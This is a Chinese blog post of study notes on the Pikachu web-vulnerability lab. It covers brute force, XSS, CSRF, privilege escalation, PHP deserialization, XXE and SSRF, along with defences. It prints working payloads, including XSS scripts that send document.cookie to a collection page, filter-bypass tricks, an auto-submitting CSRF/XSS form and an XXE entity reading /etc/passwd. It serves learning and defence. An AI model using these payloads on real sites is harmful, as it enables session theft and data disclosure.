pikachu平台

暴力破解

通过js实现的前端验证码不妨碍爆破。
一般后端验证码的实现为:接受请求后生成字符与响应图片,将字符存入session一定时间内不过期。在提交数据时将提交的验证码数据与session内的检测。直接通过burp爆破,使用同一验证码且不再请求页面即可。
token无法防止爆破。因为token发送到前端,可以通过程序先获得token再用程序爆破。
对应破解:

  1. 登录失败几次后禁止一段时间内登录。
  2. 每次校验验证码后将session内验证码清除。
  3. 双因素验证。

xss

xss
xss类型
xss寻找

xss利用:
将cookie发送到xss管理后台:<script>document.location="http://127.0.0.1/pkxss/xcookie/cookie.php?cookie="+document.cookie;</script>

post发送数据:

<script>
var url='http://127.0.0.1';
var data='cookie='+document.cookie;
var xhr= new XMLHttpRequest();
xhr.open('POST',url);
xhr.setRequestHeader('content-type','application/x-www-form-urlencoded');
xhr.send(data);
</script>

xss绕过:
核心思想:编码绕过

  1. 前端限制绕过
  2. 大小写混合
  3. 拼凑 <scrpt>
  4. 使用注释 <scr<!------>ipt></scr<!----->ipt>
  5. 编码,在前端输出时要能被正确识别

post型xss利用:
自己写一个页面,使用户访问后立即向带有post xss的页面发送请求。

<html>
<head>
<script>
window.onload=function(){
document.getElementById("postsubmit").click();
}                                                                                              
</script>
</head>
<body>
<form method="post" action="http://有poost xss的表单的提交链接">
      <input id="xss_in" type="text" name="">
      <input id="postsubmit" type="submit" name="submit" value="submit">
</form>
</body>
<html>

xss盲打:
一种利用场景,提交的数据只能由管理员看见(如用户反馈信息),可盗取管理员cookie。一般管理员界面会稍微宽松。

php中htmlspecialchars函数:
三种方式

  • ENT_COMPAT—仅编码双引号(默认)
  • ENT_QUOTES—编码双引号和单引号(推荐)
  • ENT_NOQUOTES—不编码任何引号
    部分过滤时可绕过

针对href属性:
可以使用javascript协议
href="javascript:alert(222);alert(333);"
此处无法使用htmlspecialchars处理,手动利用规则处理,如http://开头,利用正则。

有时js获取数据输出,在js代码内部存在漏洞:

$ms='';  // 输入:#';alert(11);; var b='aa
$ms='#';alert(11); var b='aa';

csrf

跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
例子
假如一家银行用以运行转账操作的URL地址如下:http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
那么,一个恶意攻击者可以在另一个网站上放置如下代码: <img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">
如果有账户名为Alice的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失1000资金。
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
透过例子能够看出,攻击者并不能通过CSRF攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义运行操作。

防御措施:

  • 检查Referer字段
  • 添加校验token
  • 二次输入密码

越权

属于逻辑漏洞,扫描器无法发现,一般使用手工探测。

  1. 水平越权 使用同级别用户的权限,例:a用户使用了同级别的b用户的权限,更改b用户的信息
  2. 垂直越权 使用了更高级别的权限,例:用户使用管理员的权限

php发序列化漏洞

将接收到的数据作为反序列化的输入数据,这时用户可以指定生成的对象。
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
参考文章1

xxe xml外部实体注入攻击

DTD是用于将xml规范化的约束文件。
php中simplexml_load_string()将xml转换为SimpleXMLElement对象。
php解析xml用libxml,其中>=2.9.0的版本中,默认是禁止解析xml外部实体内容的。
XXE漏洞发生再应用程序解析XML输入时,没有禁止外部实体的加载,导致攻击者可以构建一个恶意的xml。

payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
	<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

参考文章1
参考文章2

SSRF

(Server-Side Request Forgery:服务器端请求伪造)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

数据流:攻击者----->服务器---->目标地址

根据后台使用的函数的不同,对应的影响和利用方法又有不一样

PHP中下面函数的使用不当会导致SSRF:

file_get_contents()
fsockopen()
curl_exec()

别人的

posted @ 2020-12-11 20:31  某某人8265  阅读(237)  评论(0编辑  收藏  举报